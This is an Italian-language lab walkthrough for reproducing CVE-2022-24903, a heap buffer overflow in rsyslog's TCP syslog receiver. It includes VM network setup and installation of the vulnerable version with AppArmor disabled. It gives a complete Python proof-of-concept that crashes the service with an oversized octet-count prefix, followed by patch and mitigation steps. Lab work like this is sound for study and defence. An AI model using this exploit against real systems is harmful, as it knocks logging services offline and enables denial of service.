
CVE-2022-24903 Overflow del buffer basato su heap
Autore: Andrew Beshay Mousa
Un laboratorio pratico che dimostra la vulnerabilità di heap buffer overflow di rsyslog.
Un ambiente di laboratorio pratico per riprodurre e comprendere la vulnerabilità Heap Buffer Overflow di rsyslog (CVE-2022-24903) tramite framing con conteggio degli ottetti nella ricezione syslog via TCP.
CVE-2022-24903 è una vulnerabilità di heap buffer overflow nel modulo di ricezione syslog via TCP (imtcp) di rsyslog quando si utilizza il framing con conteggio degli ottetti (RFC 5425).
Un attaccante può inviare un messaggio syslog TCP appositamente modificato con un prefisso di conteggio degli ottetti eccessivamente lungo, causando la scrittura da parte di rsyslog oltre i limiti di un buffer allocato nell'heap, con conseguente denial of service (DoS) o potenziale corruzione della memoria.
| Attributo | Valore |
|---|---|
| CVE ID | CVE-2022-24903 |
| Versioni interessate | rsyslog < 8.2204.1 |
| Vettore | Rete |
| Porta | 514/TCP |
| Modulo | imtcp (Ingresso TCP) |
| Impatto | DoS / Corruzione dell'heap |
| RCE Probabile? | No (valutazione del fornitore) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| VM | SO | Ruolo | IP | RAM | CPU |
|---|---|---|---|---|---|
| Target | Ubuntu 22.04 | Server rsyslog vulnerabile | 192.168.56.20 | 1 GB | 1 |
| Attaccante | Kali Linux | Mittente dell'exploit | 192.168.56.10 | 2 GB | 1 |
Nota: Puoi usare qualsiasi versione di Ubuntu (20.04, 22.04, 24.04) come Target. Il punto chiave è installare manualmente il pacchetto
.debrsyslog 8.2001.0 vulnerabile.
In syslog via TCP (RFC 5425), i messaggi sono preceduti dalla loro lunghezza in byte:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
Nelle versioni vulnerabili di rsyslog, il parser del conteggio degli ottetti:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Risultato: L'invio di 9999... (5000+ cifre) provoca un overflow del buffer dell'heap, corrompendo la memoria adiacente.
0-9)Nel tuo hypervisor, crea una rete Host-Only:
192.168.56.0/24Collega entrambe le VM a questa rete.
sudo nano /etc/netplan/00-installer-config.yaml
Incolla:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Applica:
sudo netplan apply
Verifica:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Se ricevi un errore di lock di dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Verifica la versione:
rsyslogd -v | head -2
Output previsto:
rsyslogd 8.2001.0
AppArmor potrebbe impedire a rsyslog di funzionare correttamente con il vecchio pacchetto:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Svuota il file e incolla:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Verifica che sia in ascolto:
sudo ss -tlnp | grep 514
Previsto:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Incolla:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Oppure se usi Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Incolla:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Rendilo eseguibile:
chmod +x exploit.py
Dall'Attaccante, verifica la connettività:
nc -zv 192.168.56.20 514
Previsto:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Output previsto:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
Sulla macchina Target, verifica il crash:
ps aux | grep rsyslog
Se nessun output -> rsyslog è andato in crash
sudo dmesg | tail -10
Output previsto:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
Oppure:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
Per confermare la riproducibilità:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Quindi esegui di nuovo l'exploit da Kali. Il crash dovrebbe verificarsi di nuovo.
| Problema | Soluzione |
|---|---|
Connection refused | rsyslog non è in esecuzione o non è in ascolto su TCP 514. Controlla sudo systemctl status rsyslog e `sudo ss -tlnp |
Unit rsyslog.service is masked | Esegui sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | Esegui sudo kill -9 <PID> quindi sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED nel dmesg | Esegui sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| La versione di rsyslog è 8.2112+ | Hai installato la versione con patch. Scarica e installa manualmente rsyslog_8.2001.0-1ubuntu1_amd64.deb |
| Nessun crash dopo l'exploit | Aumenta la dimensione del payload a b"9" * 20000 |
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Verifica la versione con patch:
rsyslogd -v | head -2
Dovrebbe essere 8.2204.1 o successiva.
Commenta in /etc/rsyslog.conf:
# module(load="imtcp")
# input(type="imtcp" port="514")
Se syslog TCP è necessario, usa un trasporto cifrato:
module(load="imgtls")
input(type="imgtls" port="6514")
Limita TCP 514 ai soli host fidati:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
Questo laboratorio è solo a scopo educativo e di ricerca. Non utilizzare questo exploit contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per un uso improprio di queste informazioni.
Questo progetto è concesso in licenza secondo i termini della Licenza MIT.
Creato con caffè e curiosità da Andrew Beshay Mousa.